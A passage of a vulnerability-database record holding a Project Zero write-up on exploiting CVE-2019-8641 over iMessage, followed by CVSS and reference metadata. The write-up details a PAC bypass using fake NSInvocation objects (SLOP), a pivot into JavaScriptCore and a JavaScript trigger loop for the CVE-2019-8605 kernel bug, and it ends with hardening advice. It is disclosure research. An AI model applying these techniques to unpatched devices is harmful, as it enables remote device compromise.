\"doSomething\");\n\n...\n\nobjc_release(bob);\n\n** \n**\n\nAt runtime, [objc_msgSend](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/Messengers.subproj/objc-msg-arm64.s#L252>) will then roughly do the following:\n\n** \n**\n\n 1. Dereference the object pointer to retrieve the ISA value and extract the Class pointer from it in turn\n\n 2. Perform a [lookup for the requested method implementation](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.mm#L4657>) in the Class\u2019 method cache. This is done by essentially hashing the selector\u2019s address to obtain a table index, then comparing the entry\u2019s selector with the requested one\n\n 3. If that fails, continue to look up the method in the method table\n\n 4. If a method Implementation was found, it is (tail-) called and passed any additional arguments that were passed to objc_msgSend. Otherwise an exception is raised.\n\n** \n**\n\nNote that since selectors are guaranteed to be unique by the ObjC runtime, comparison of two selectors is possible simply by comparing the pointer values. \n\n** \n**\n\n[objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) on the other hand will [decrement the object\u2019s refcount](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L464>) (assuming no custom retain/release has been implemented for the object by overwriting the corresponding methods).\n\nIf decrementing the object\u2019s refcount sets it to zero, it [invokes](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L571>) the [dealloc method](<https://developer.apple.com/documentation/objectivec/nsobject/1571947-dealloc>) (the destructor of the object) and then frees the object\u2019s memory chunk.\n\n** \n**\n\nFurther information about ObjC internals can be found [here](<http://www.phrack.org/issues/66/4.html#article>), [here](<http://www.phrack.org/issues/69/9.html#article>), and in the [source](<https://github.com/opensource-apple/objc4>)/[binary](<https://ipsw.me/>) code.\n\n## Native Code Execution on non-PAC Devices\n\n** \n**\n\nGiven the above insights into the ObjC runtime internals and the capabilities gained from the second part of this series, it is now possible to implement a simple exploit to gain native code execution on devices without pointer authentication (PAC), namely the iPhone X and earlier.\n\n** \n**\n\nShown next is the code fragment from [NSSharedKeySet indexForKey:] which reads the candidate value from an address of the attacker\u2019s choosing (as _keys is nullptr and index is controlled) and processes it. \n\n** \n**\n\n 1. id candidate = self->_keys[index];\n\n 2. if (candidate != nil) {\n\n 3. if ([key isEqual:candidate]) {\n\n 4. return prevLength + index;\n\n 5. }\n\n 6. }\n\n** \n**\n\nIf the key is a NSString, then one of the first things that [NSString isEqual:] will do with the given argument is calling [arg isNSString__] on it (see the implementation of [NSString isEqual:] in Foundation.framework). As such, native code execution can be achieved in the following way:\n\n** \n**\n\n 1. Perform the heap spray as described in part 2. The heap spray should contain a fake object pointing to a fake class containing a fake method cache with an entry for the method \u2018isNSString__\u2019 with a controlled IMP pointer. The heap spray should also contain a pointer to the fake object\n\n 2. Trigger the vulnerability to read that pointer and have it be passed to [key isEqual:]. This will in turn invoke \u2018isNSString__\u2019 on the faked object, thus pointing the instruction pointer to an address of the attacker\u2019s choosing\n\n 3. Perform a stack pivot and implement a payload in ROP\n\n** \n**\n\nAt this point, an attacker has succeeded in exploiting a device that does not support PAC (iPhone X and earlier). However, with PAC enabled, the above attack is no longer possible as is explained in the next section.\n\n** \n**\n\n## The Impact of PAC in Userspace\n\n** \n**\n\nBrandon Azad has previously done some great research [detailing how PAC works in the kernel](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). PAC in userspace is not too different. Next is a high level summary of how PAC works in userspace. For more information, the reader is referred to [llvm\u2019s documentation of PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>).\n\n** \n**\n\nEvery code pointer (function pointer, ObjC method pointer, return address, \u2026) is signed with a secret key as well as an optional 64-bit \u201ccontext\u201d value. The resulting signature is truncated to 24 bits which are then stored in the upper part of a pointer, which are normally unused. Before jumping to a code pointer, the pointer\u2019s signature is verified by recomputing it with the same key and context value and comparing the result to the bits stored in the pointer. If they match, the signature bits are cleared, leaving a valid pointer to be dereferenced. If they don\u2019t match, the pointer becomes clobbered, thus leading to an access violation when it is subsequently dereferenced.\n\n** \n**\n\nThe main purpose of the context value is to prevent pointer swapping attacks in which a signed pointer is copied from one location in the process to another. As an example, ObjC method Implementation pointers stored in the method cache use the address of the cache entry as context while return addresses on the stack use the address of themselves in the stackframe as context. As such, the two cannot be swapped.\n\n** \n**\n\nTo summarize, with PAC enabled and without a bug in the implementation of PAC itself or a signing gadget (a piece of code that can legitimately be invoked and which will add a PAC signature to an arbitrary pointer and return the result to the attacker), it becomes impossible to fake code pointers like the previously described exploit does. The bypass described next assumes such a \u201cflawless\u201d implementation.\n\n** \n**\n\nOne attack that is still viable despite PAC is to create fake instances of ObjC classes and call existing (legitimate) methods on them. This is possible because [PAC does not currently protect the ISA value](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst#objective-c-methods>) which identifies a class instance (this is likely due to the fact that the ISA value does not have enough spare bits for a signature). As such, knowing the base address of the dyld shared cache (which contains all the ObjC Class objects), it becomes possible to fake instances of any class in any library currently loaded in the process.\n\n** \n**\n\nHowever, on the code path that is currently taken ([NSSharedKeySet indexForKey:], only a small number of selectors are ever sent to the controlled object, for example \u2018__isNSString\u2019. This is likely not very useful as none of the available implementations perform anything particularly interesting. Another code path yielding a different primitive thus has to be found.\n\n** \n**\n\n## A Useful Exploit Primitive\n\n** \n**\n\nAs described above, ObjC relies heavily on reference counting, and one of the most common operations performed on an object (besides objc_msgSend) is objc_release. Due to that, many memory corruption vulnerabilities can be turned into an objc_release call on a controlled object. This is also the case here, although some more effort is required as, by itself, the code used during [NSSharedKeySet indexForKey:] will not call objc_release on the attacker controlled object. As such, a new object graph is required once again to reach a different piece of code, in this case in [NSSharedKeyDictionary setObject:ForKey:], called during [NSSharedKeyDictionary initWithCoder:] as shown next.\n\n \n\n\n** \n**\n\n 1. -[NSSharedKeyDictionary initWithCoder:coder] {\n\n 2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class] \n\n 3. forKey:@\u201dNs.skkeyset\u201d];\n\n 4. self->_values = calloc([self->_keyMap count], 8);\n\n 5. NSArray* keys = [coder decodeObjectOfClasses:[...] \n\n 6. forKey:@\u201dNS.keys\u201d]];\n\n 7. NSArray* values = [coder decodeObjectOfClasses:[...] \n\n 8. forKey:@\u201dNS.values\u201d]];\n\n 9. 10. if ([keys count] != [values count]) { // return error }\n\n 11. \n\n 12. for (int i = 0; i < [keys count]; i++) {\n\n 13. [self setObject:[values objectAtIndex:i] \n\n 14. forKey:[keys objectAtIndex:i]];\n\n 15. }\n\n 16. }\n\n** \n**\n\n 1. -[NSSharedKeyDictionary setObject:obj forKey:key] {\n\n 2. uint32_t index = [self->_keyMap indexForKey:key];\n\n 3. if (index != -1) { \n\n 4. id oldval = self->_values[index];\n\n 5. objc_retain(obj);\n\n 6. self->_values[index] = obj;\n\n 7. objc_release(oldval);\n\n 8. } \n\n 9. }\n\n** \n**\n\nNote that in [NSSharedKeyDictionary initWithCoder:], there is no check for nullptr after the call to calloc() in line 4. This is likely not a problem under normal circumstances as another allocation of the same size would have to succeed first (for the SharedKeySet) and its content (multiple gigabytes of data) would have to be sent over iMessage. However, it does become a problem in combination with the current vulnerability, as now a _numKey value of one of the SharedKeySets is not yet validated at the time this code runs, thus allowing an attacker to cause calloc() to fail without requiring other huge allocations to succeed first. Afterwards, [NSSharedKeyDictionary setObject:forKey:] can be tricked to again read an ObjC id from an attacker controlled address (line 4) and subsequently call objc_release on it (line 7). The object graph shown next triggers this case and performs an objc_release call on an attacker controlled value. The return value of calloc() has since been checked against nullptr, in which case unarchiving is aborted.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMpq5iI8M39sDpQx2M_ERppd3Hcr1SXy7p8Ri-3nhHvibSPtsFY4gY842zHkXPaBM0EsKSrF8bXWK0m_XAa9Dhoo75xL6RYa7RqWwhupSXlaL1Z23v6_aBd5TvA-s-NAdPUCZeyiZGnFfWgVAj8fyZlsaixVj6iisxkmCgqLC3r2dS_3T25UIyIQdc/s2048/ExploitPrimitive.png>)\n\nWhen the shown object graph is unarchived, SharedKeyDictionary2 will attempt to store the value for \u201ck2\u201d in itself and will thus call [SharedKeySet2 indexForKey:\"k2\"]. This in turn will recurse to SharedKeySet1, which will also not find the key (as the index fetched from its _rankTable is larger than _numKey) and recurse further. Finally, SharedKeySet3 will be able to lookup \u201ck2\u201d and return the currently accumulated offset, which is (1 + 0x41414140/8). SharedKeyDictionary2 will then access 0x41414148, call objc_release on the value read there and finally write the NSString \u201cfoobar\u201d to that address. This now provides the arbitrary objc_release primitive required for further exploitation.\n\n** \n**\n\nWith that, it is now possible to get any legitimate \u2018dealloc\u2019 or \u2018.cxx_desctruct\u2019 (which are additional destructors automatically generated by the compiler) method called. There are about 50,000 such functions in the shared cache. Quite a lot of gadgets! To find interesting gadgets, the following IDAPython snippet can be used on a loaded dyld_shared_cache image. It enumerates the available destructors and writes their name + decompiled code to disk:\n\n** \n**\n\nfor funcea in Functions():\n\nfuncName = GetFunctionName(funcea)\n\nif \u2018dealloc]\u2019 in funcName or \u2018.cxx_desctruct]\u2019 in funcName:\n\nfunc = get_func(funcea)\n\noutfile.write(str(decompile(func)) + \u2018\\n\u2019)\n\n** \n**\n\nOne approach to finding interesting dealloc \u201cgadgets\u201d is to grep the decompiled code for specific selectors that are being sent to other objects, further increasing the amount of code that can be executed. One dealloc implementation that is particularly interesting is printed below:\n\n** \n**\n\n-[MPMediaPickerController dealloc](MPMediaPickerController *self, SEL)\n\n{\n\nv3 = objc_msgSend(self->someField, \"invoke\");\n\nobjc_unsafeClaimAutoreleasedReturnValue(v3);\n\nobjc_msgSend(self->someOtherField, \"setMediaPickerController:\", 0);\n\nobjc_msgSendSuper2(self, \"dealloc\");\n\n}\n\n** \n**\n\nThis sends the \u201cinvoke\u201d selector to an object read from the faked self object. \u201cinvoke\u201d is for example implemented by [NSInvocation](<https://developer.apple.com/documentation/foundation/nsinvocation>) objects, which are essentially bound functions: a triplet of (target object, selector, arguments) which, when sent the \u201cinvoke\u201d selector, will call the stored selector on the target object with the stored arguments. It is thus possible to call any ObjC method on a completely controlled object with arbitrary arguments. Quite a powerful primitive. In fact, already powerful enough to pop calc. The call:\n\n** \n**\n\n[UIApplication launchApplicationWithIdentifier:@\"com.apple.calculator\" suspended:NO]\n\n** \n**\n\n...will do the job just fine :)\n\n** \n**\n\nThe final heap spray layout then looks roughly as depicted below. The heap spray must now be a bit bigger because the previously used address 0x110000000, which will now also be used as the size argument to calloc, will not cause calloc to fail on newer devices, so a higher address such as 0x140000000 is necessary. Note also that the call to \u2018setMediaPickerController\u2019 in the dealloc implementation can simply be survived by setting someOtherField to zero, in which case objc_msgSend generally becomes a nop. NSInvocation objects are made up of a \u201cframe\u201d, a pointer to a buffer containing the arguments for the call, as well as storage for the return value and a reference to a NSMethodSignature object containing information about the number and type of the arguments. The latter two fields are omitted in the diagram for brieviety.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRoQjcXknwnUxwFAWqJIE-2vUMftTrN2L6pOwVCXcSk4OO4PmLy2mW5meOC_gOY-z-Yz3vs6yQO-U4PDBkycehi2FeC4Z7vFFN6lifIx5JcGvjQEjKVXTGe8_JmlE1AWYlwBA_isNQeys7_XeyRrH9VBbsN87qUw620C3IjJMHrLKaj10KM1Fsv3yD/s2048/Heap%20Spray%20Content.png>)\n\nTo trigger the controlled ObjC method invocation from [NSSharedKeyDictionary setObject:obj forKey:key], the address 0x140003ff8 must be accessed so that a pointer to the fake MPMediaPickerController is passed to objc_release.\n\n** \n**\n\nThe video below shows the exploit in action. Note that there is no \u201crespring\u201d or similar crash behaviour happening as SpringBoard continues normally after executing the payload.\n\n** \n**\n\n \nWhile opening a calculator is nice, the ultimate goal of an exploit like the one presented here is likely to stage a kernel exploit. One option for that is to use the current capability to open a WebView and serve a classic browser exploit. However, that would likely require a separate browser vulnerability. The final question is thus whether it is possible to directly chain a kernel exploit given the current primitive. The remainder of this blog post will now explore this option.\n\n** \n**\n\n## SeLector Oriented Programming (SLOP)\n\n** \n**\n\nThe technique described here was not part of the initial exploit PoC that was sent to Apple. As such, it was separately reported on September 13 as an exploitation technique (noting that exploitation techniques are not subject to Project Zero's 90 day deadlines)\n\n** \n**\n\nExpanding on the current exploitation capability, the ability to call a single method on a controlled object with controlled arguments, the next step is to gain the ability to chain multiple method calls together. Furthermore, it should also be possible to use the return values of method calls, for example as arguments to subsequent ones, and to be able to read and write process memory. The following technique, dubbed SLOP for SeLector Oriented Programming ;), allows this.\n\n** \n**\n\nFirst, it is possible to chain multiple selector calls together by creating a fake NSArray containing fake NSInvocation objects, then calling [[NSArray makeObjectsPerformSelector:@selector(invoke)]](<https://developer.apple.com/documentation/foundation/nsarray/1460115-makeobjectsperformselector?language=objc>) on it (through the \u201cbootstrap\u201d NSInvocation that is invoked during [MPMediaPickerController dealloc]). This will invoke each of the NSInvocations, thus performing multiple independent ObjC method calls.\n\n** \n**\n\nNext, by using the [[NSInvocation getReturnValue:ptr]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437832-getreturnvalue?language=objc>) method, it is possible to write the return value of a previous method call somewhere in memory, for example into the arguments buffer of a following call. With that, it is possible to use return values of method calls as arguments for subsequent ones.\n\n** \n**\n\nA simple SLOP chain then looks like this:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHRdcv9Yy2tbo7UUXrWszCDIo_6_VxaM0GSg4hSWcO41hdTnojQHsccZg5bJXG7_zIza5ltdpQuxYddOMh3tyYqcExtd_YUfij4tY8K6Fxnqzf2sGdqL1SvGTOHcK7CQMaMxputEvwhbFp_SnizjOUtGFIjQtHY1hjH5gwqn26ORx2MhGyynoekzr/s2048/SLOP.png>)\n\nThis chain is equivalent to the following ObjC code:\n\n** \n**\n\nid result = [target1 doX];\n\n[target2 doY:result];\n\n** \n**\n\nFor the final primitive, the ability to read and write process memory, the [[NSInvocation getArgument:atIndex]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437830-getargument?language=objc>) method can be used, of which simplified pseudocode is shown next:\n\n** \n**\n\nvoid -[NSInvocation getArgument:(void*)addr atIndex:(uint)idx] {\n\nif (idx >= [self->_signature numberOfArguments]) {\n\n...; // abort with exception\n\n}\n\n** \n**\n\nmemcpy(addr, &self->_frame[idx], 8);\n\n}\n\n** \n**\n\nAs the above method can be invoked using SLOP, it is possible to perform arbitrary memory reads and writes (with [\u2019setArgument:atIndex\u2019](<https://developer.apple.com/documentation/foundation/nsinvocation/1437834-setargument?language=objc>) instead) by creating fake NSInvocation objects where the _frame member points to the desired address. Conveniently, this also allows reading and writing at an offset from the pointer which facilitates accessing or corrupting members of some data structure. This will be an important primitive for the next part.\n\n** \n**\n\nWith SLOP, it is now possible to execute arbitrary ObjC methods. As this happens outside of the sandbox in SpringBoard, it is already sufficient to for example gain access to user data. However, by itself, SLOP is likely not powerful enough to execute a kernel exploit, which is the final step for a full device compromise. This is for example due to the lack of (obvious) control-flow primitives that SLOP provides.\n\n## Chaining a Kernel Exploit\n\n** \n**\n\nOne approach for executing a kernel exploit is then to use SLOP to pivot into a scripting context, for example into [JavaScriptCore.framework](<https://developer.apple.com/documentation/javascriptcore?language=objc>), and implement the kernel exploit in that scripting language. Pivoting into JavaScript from SLOP is easily possible using the following method calls:\n\n** \n**\n\nJSContext* ctx = [[JSContext alloc] init];\n\n[ctx evaluateScript:scriptContent];\n\n** \n**\n\nIn order to execute a kernel exploit in JavaScript, the following primitives will have to be bridged into JavaScript or recreated there:\n\n** \n**\n\n 1. The ability to read and write the memory of the current process\n\n 2. The ability to call C functions and in particular syscalls\n\n** \n**\n\nGaining memory read/write in JavaScript is rather easy with a standard browser exploitation technique: corrupting JavaScript [DataViews](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView>)/[TypedArrays](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray>). In particular, two DataView objects can be created in JS, then [returned to ObjC](<https://developer.apple.com/documentation/javascriptcore/jscontext/1451771-objectforkeyedsubscript?language=objc>), where the first one is corrupted so that its backing memory pointer now points to the second one. The resulting situation is shown in the image below. Corrupting the backing storage pointer is possible by using the memory read/write primitive in SLOP as described above.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWQJGlRPGzC51weNE1cKBTjxVmJPU3dRshmiapm11GUgF7ho-Xam5EZhnSaW8dE3jV85tiBflkdysP2rRo9FUEF_oWu2U8fGXeeDW_9fknMLNsaFb5fJUBP6y2S7IlFMsJ2Rk7zb1AHUhnC_z9Lfnw0KI0g-JoPYIDYzycSwjpmxJVecF7Gkh5uk3J/s1945/DataViews.png>)\n\nSubsequently, it is now possible to read from/write to arbitrary addresses from JavaScript by first corrupting the backing storage pointer of the second DataView through the first one, then accessing the second DataView\u2019s storage. Conveniently, [Gigacage](<https://phakeobj.netlify.com/posts/gigacage/>), a mitigation in JavaScriptCore designed to hinder the abuse of ArrayBuffers and similar in such a way, is [not active in JSC builds for Cocoa](<https://github.com/WebKit/webkit/blob/98cbf74a29d2dfea8c253ebd09cacb2c44c7557d/Source/bmalloc/bmalloc/ProcessCheck.h#L34>). This solves point 1 above.\n\n** \n**\n\nAfterwards, point 2 can be achieved with the following two ObjC methods:\n\n * [CNFileServices dlsym::], which is just a thin wrapper around dlsym(3). With PAC enabled, dlsym will sign returned function pointers with context zero (as no sensible context value is available to the caller) before returning them\n\n * [NSInvocation invokeUsingIMP:], which accepts an IMP, a function pointer signed with context zero, as argument and calls it with the arguments from its frame buffer, which are thus fully controlled\n\n** \n**\n\nCombining these two ObjC methods allows calling of arbitrary exported C functions with arbitrary arguments. Finally, it is also possible to bridge this capability into JavaScript: JavaScript core supports bridging ObjC objects by implementing the [JSExport protocol](<https://developer.apple.com/documentation/javascriptcore/jsexport?language=objc>) and specifying the methods that should be exposed to JS. ObjC methods bridged in that way are implemented by creating one NSInvocation object for every method and [invoking it when the method is called in JS](<https://github.com/WebKit/webkit/blob/4193dc90616f9538b99058517fee62c53b094951/Source/JavaScriptCore/API/ObjCCallbackFunction.mm#L585>). Given the memory read/write capability, it is then possible to corrupt this NSInvocation object to call a different method on a different object, for example [CNFileServices dlsym::] or [NSInvocation invokeUsingIMP:].\n\n** \n**\n\nWith all of that and a bit of wrapper code to expose the required functionality in a convenient way, a reimplementation of Ned Williamson\u2019s [trigger](<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=398587>) for [CVE-2019-8605 aka SockPuppet](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) looks like this (see crash_kernel.js for the full code):\n\n** \n**\n\nlet sonpx = memory.alloc(8);\n\nmemory.write8(sonpx, new Int64(\"0x0000000100000001\"));\n\nlet minmtu = memory.alloc(8);\n\nmemory.write8(minmtu, new Int64(\"0xffffffffffffffff\"));\n\n** \n**\n\nlet n0 = new Int64(0);\n\nlet n4 = new Int64(4);\n\nlet n8 = new Int64(8);\n\n** \n**\n\nwhile (true) {\n\nlet s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\ndisconnectx(s, n0, n0);\n\n// The next setsockopt will write into a freed buffer, so\n\n// give the kernel some time to reclaim it first.\n\nusleep(1000);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\nclose(s);\n\n}\n\n** \n**\n\nThis demonstrates that it is possible to execute a kernel exploit from JavaScript after a successful remote exploit over iMessage and without any further vulnerabilities (e.g. a JavaScriptCore RCE exploit). \n\n** \n**\n\nThe source code for the proof-of-concept exploit can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>).\n\n## Improving Messenger Security\n\n** \n**\n\nThe insights gained during the exploitation work led to numerous recommendations for hardening measures, most of which have already been mentioned throughout this series where appropriate and have also been communicated to Apple. As they could also be relevant for other messenger and mobile operating system vendors, they are restated next.\n\n** \n**\n\n 1. As much code as possible should be put behind user interaction, in particular when receiving messages from unknown senders.\n\n 2. Communication side channels in the interactionless attack surface such as automatic delivery receipts should be removed. If that is not possible, the receipts should at least be sent in a way that prevents them from being abused to construct a crash oracle, for example by sending them on the server side or from a dedicated process\n\n 3. Processes handling incoming data should be sandboxed as much as possible and should be disallowed any network interaction to stop an attacker from constructing a communication channel (and afterwards an info leak) through a memory corruption or logic bug. This would also prevent bugs such as [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) from being easily exploitable.\n\n 4. ASLR should be as strong as possible. In particular, both heap spraying and brute force guessing should be impractical on any remote attack surface. Similarly, on iOS, the ASLR of the dyld shared cache region could be improved.\n\n 5. Some probabilistic defenses (ASLR, and in the future memory tagging) can be defeated if the attacker gets enough attempts (as is the case here with imagent). As such, it seems desirable to limit the number of attempts an attacker gets whenever possible and to deploy monitoring that is able to detect failed exploitation attempts.\n\n** \n**\n\nSince developing and reporting the presented exploit to Apple on August 9, the following security relevant changes to iOS have taken place:\n\n** \n**\n\n 1. A large part of the NSKeyedUnarchiver attack surface in iMessage was blocked ([by disallowing the decoding of child classes](<https://twitter.com/5aelo/status/1172534071332917248>)), thus rendering this bug and others unexploitable over iMessage\n\n 2. The vulnerability exploited here was fixed and assigned CVE-2019-8641\n\n 3. The decoding of the \u201cBP\u201d NSKeyedUnarchiver payload contained in incoming iMessages was moved into a sandboxed process (IMDPersistenceAgent). As such, an attacker exploiting an NSKeyedUnarchiver vulnerability over iMessage will now also need to break out of a sandbox.\n\n 4. A new unsigned int field, _magic, was added to the NSInvocation class. This field is set to the value of a per-process random global variable during initialization and asserted to be equal to it again during [NSInvocation invoke]. As such, it is no longer possible to create fake NSInvocation instances (which is a requirement for the presented PAC bypass) without leaking this value beforehand. Further, it appears that efforts are being made to protect the selector and target fields of NSInvocation with PAC in the future, additionally hindering abuse of NSInvocations even in case of an attacker with memory read/write capabilities.\n\n 5. The [MPMediaPickerController dealloc] method, which was used to bootstrap the PAC bypass by sending the \u201cinvoke\u201d selector to an attacker-controlled object, appears to have been removed. However, there are still other dealloc implementations that call \u201cinvoke\u201d on an attacker controlled object left. These might be removed in the future as well. As described above, it is in any case now more difficult to create fake NSInvocation instances. \n\n** \n**\n\nThis list could be incomplete as it was compiled through reverse engineering and manual experimentation, as Apple do not currently share any details of how their issues were fixed with security researchers.\n\n** \n**\n\nOn a final note, while good sandboxing is critical, it should not be relied upon blindly. As an example to consider, the vulnerability exploited here would likely also be usable to escape any sandbox on the device as the targeted API is commonly exposed over IPC as well.\n\n** \n**\n\n## Conclusion\n\n** \n**\n\nThis blog post series demonstrated that, despite numerous exploit mitigations being deployed, it is still possible to exploit memory corruption vulnerabilities in a non-interactive setting such as mobile messaging services and without an additional remote infoleak vulnerability as is commonly deemed necessary. The exploited vulnerability has been fixed by Apple and a few further hardening measures have already been deployed. A key insight of this research was that ASLR, which in theory should offer strong protection in this attack scenario, is not as strong in practice. In particular, ASLR can be defeated through heap spraying and through crash oracles, which can be constructed from commonly available side channels such as automatic delivery receipts. A second insight was that fairly arbitrary code, powerful enough to execute a kernel exploit, could be executed without ever creating or corrupting a code pointer, thus effectively bypassing PAC. Finally, based on the developed exploit, numerous suggestions for attack-surface reduction, hardening, and exploit mitigations were presented. My hope is that this research will ultimately help all vendors by highlighting how small design decisions can have significant security consequences and to hopefully better protect their users from these kinds of attacks.\n\n \n\n", "published": "2020-01-09T00:00:00", "modified": "2020-01-09T00:00:00", "epss": [{"cve": "CVE-2019-8605", "epss": 0.00133, "percentile": 0.47226, "modified": "2023-06-06"}, {"cve": "CVE-2019-8641", "epss": 0.0314, "percentile": 0.89685, "modified": "2023-06-06"}, {"cve": "CVE-2019-8646", "epss": 0.06095, "percentile": 0.92427, "modified": "2023-06-06"}], "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3}, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html", "reporter": "GoogleProjectZero", "references": [], "cvelist": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"], "immutableFields": [], "lastseen": "2023-06-07T02:00:37", "viewCount": 168, "enchantments": {"dependencies": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:100C3E37B89C4B8E50DE097059456EC2", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:322F877E419F20C64E54D0BBA8C1399A", "APPLE:41FD160DB043905B84F762A4AC705243", "APPLE:42A8665131AAD41DD01DD2DE9BBDEBC5", "APPLE:466BEDED69CFA24057993B0F7E611178", "APPLE:48DFAA81838B82F0614B9A03F99F251D", "APPLE:819AEF513AB880D6C4F6CA66CB3C0021", "APPLE:8962973934F6CCC5756D8D4DB8D1F37F", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:F7ACEF0E3E5ED5C235A21270AB00AF33", "APPLE:HT210122", "APPLE:HT210346", "APPLE:HT210348", "APPLE:HT210351", "APPLE:HT210353", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550", "APPLE:HT210588", "APPLE:HT210589", "APPLE:HT210590", "APPLE:HT210606"]}, {"type": "attackerkb", "idList": ["AKB:2C95B7B2-B5DA-4FE4-AB6A-457F0616325B", "AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-1098"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2019-8605"]}, {"type": "cve", "idList": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892", "EDB-ID:47409"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["3D3DC121-B34B-5068-A4B3-BD6A0C521971", "44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:1207813731774186F9A98E4FD3472E6D", "GOOGLEPROJECTZERO:1863643ADC4EF2ABEE526299696C931D", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:4379524F316D6C7FA6682653798DC052", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:583848E2AA028400AD8E69515795E246", "GOOGLEPROJECTZERO:63C5590C80947E05972B1E741DE19C77", "GOOGLEPROJECTZERO:6555AE6CE499D9D30373C3D7100AD02F", "GOOGLEPROJECTZERO:7252C6A752FFE952836D88899C945E7F", "GOOGLEPROJECTZERO:76E99C997C0BF24DFC97575D112E2FE8", "GOOGLEPROJECTZERO:8D9092AAADD845D0E49147A5BA49EA02", "GOOGLEPROJECTZERO:8F5F85400267DF1EFD1897A0E2FF0671", "GOOGLEPROJECTZERO:A46B3136EBE92DFE53548BB20EFF1ABC", "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "GOOGLEPROJECTZERO:B6FB33FF19AE0AD0E463FE10F35B3778", "GOOGLEPROJECTZERO:EF1A7F815096A60102501F0E31BD67D4", "GOOGLEPROJECTZERO:F5CF6A432B61D584C074F681DBED3349"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:762422C08BCD930748F1EED62A25716D"]}, {"type": "nessus", "idList": ["700667.PRM", "700713.PRM", "700719.PRM", "APPLETV_12_3.NASL", "APPLETV_12_4.NASL", "APPLETV_12_4_1.NASL", "APPLE_IOS_123_CHECK.NBIN", "APPLE_IOS_130_CHECK.NBIN", "MACOSX_SECUPD2019-003.NASL", "MACOSX_SECUPD2019-004.NASL", "MACOS_10_14_5.NASL", "MACOS_10_14_6.NASL", "MACOS_HT210589.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814888", "OPENVAS:1361412562310815425", "OPENVAS:1361412562310815426", "OPENVAS:1361412562310815616"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:41F66983564CEDB5C54CCEB8BE4F793F", "THN:4376782A3F009FEED68FDD2022A11EF5", "THN:754EDA3BD8060BD079B3DB44EE616405", "THN:79F83648DEAA2E305471E325D6B2DE48", 